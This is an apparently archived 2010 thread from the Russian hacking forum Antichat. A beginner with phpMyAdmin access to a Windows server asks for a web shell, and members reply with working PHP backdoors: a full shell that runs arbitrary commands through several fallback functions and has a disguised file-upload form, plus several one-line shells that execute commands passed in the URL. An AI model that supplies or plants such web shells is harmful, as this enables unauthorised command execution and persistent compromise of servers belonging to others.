Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |

10.05.2010, 21:50
|
|
Новичок
Регистрация: 28.02.2010
Сообщений: 27
Провел на форуме: 240510
Репутация:
0
|
|
шелл на windows сервере.
Всем привет. Задача такова:
Есть доступ в phpmyadmin.
Дайте пожалуйста шелл, чтобы выполнял команды такого вида:
http://server.ru/shell.php?cmd=dir и так далее...
Я в этом новичек.
Последний раз редактировалось AlexTEry; 10.05.2010 в 21:52..
|
|
|

10.05.2010, 21:55
|
|
Members of Antichat - Level 5
Регистрация: 01.04.2007
Сообщений: 1,268
Провел на форуме: 10046345
Репутация:
4589
|
|
PHP код:
<font face="monospace,terminal" size="-1"><pre>
<?php
ob_end_clean();
ob_start();
$disablefuncs = array();
function myshellexec($cmd) {
global $disablefuncs;
if (empty($cmd)) {
return '';
}
$result = '';
if (is_callable('exec') and !in_array('exec', $disablefuncs)) {
exec($cmd, $result);
$result = join("\n", $result);
} elseif (($result = `$cmd`) !== FALSE) {
} elseif (is_callable('system') and !in_array('system')) {
ob_start();
system($cmd);
$result = ob_get_contents();
ob_clean();
} elseif (is_callable('passthru') and !in_array('passthru', $disablefuncs)) {
ob_start();
passthru($cmd);
$result = ob_get_contents();
ob_clean();
} elseif (is_resource($fp = popen($cmd,"r"))) {
while(!feof($fp)) {
$result .= fread($fp, 1024);
}
pclose($fp);
} else {
$result = 'Shit. Can\'t execute command.';
}
return $result;
}
if (is_callable('ini_get')) {
$disablefuncs = ini_get("disable_functions");
if (!empty($disablefuncs)) {
$disablefuncs = str_replace(' ', '', $disablefuncs);
$disablefuncs = explode(',', $disablefuncs);
} else {
$disablefuncs = array();
}
}
if (isset($_POST['execl'])) {
echo $_POST['execl']. '<br>';
echo myshellexec($_POST['execl']);
}
if (isset($_POST['pcntl_exec'])) {
pcntl_exec($_POST['pcntl_exec'], $_POST['pcntl_exec_param']);
}
if (isset($_FILES['upfile'])) {
if (is_uploaded_file($_FILES['upfile']['tmp_name'])) {
move_uploaded_file($_FILES['upfile']['tmp_name'], $_POST['fname']);
echo '<b>Uploaded!</b>';
}
}
?><br>
</pre>
<form method="POST" action="<?php echo '?'. $_SERVER['QUERY_STRING']; ?>">
/bin/bash: <input type="text" name="execl" id="bash" style="width:80%"><input type="submit">
</form><br>
<form method="POST" action="<?php echo '?'. $_SERVER['QUERY_STRING']; ?>">
pcntl_exec: <input type="text" name="pcntl_exec" style="width:200px"><input type="text" name="pcntl_exec_param" style="width:70%"><input type="submit">
</form>
<form method="POST" action="<?php echo '?'. $_SERVER['QUERY_STRING']; ?>" enctype="multipart/form-data">
upload: <input type="text" name="fname" style="width:200px" value="profilepic605_1.png"><input type="file" name="upfile" style="width:70%"><input type="submit">
</form>
<script>document.getElementById("bash").focus();</script>
</font>
<?php
$text = str_replace("\n", '<br />', ob_get_contents());
ob_end_clean();
echo $text;
?>
|
|
|

10.05.2010, 22:06
|
|
Участник форума
Регистрация: 26.05.2009
Сообщений: 219
Провел на форуме: 1646625
Репутация:
110
|
|
BlackSun по теме. Заливал шелл по видео. Где ошибка?
<?php exec(stripslashes(@$_GET["cmd"]), $result); $result = implode("<br>", $result); echo convert_cyr_string($result, "d", "w"); ?>
Пишет:
Parse error: syntax error, unexpected $end in C:\Program Files\VertrigoServ\www\shell.php on line 2
Если Вас не затруднит-помогите.
|
|
|

10.05.2010, 22:46
|
|
Участник форума
Регистрация: 26.05.2009
Сообщений: 219
Провел на форуме: 1646625
Репутация:
110
|
|
up
|
|
|

10.05.2010, 23:25
|
|
Постоянный
Регистрация: 30.08.2005
Сообщений: 730
Провел на форуме: 6828219
Репутация:
2274
|
|
<?php system(stripslashes(implode($_GET))); ?>
юзать ?ololo=dir
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|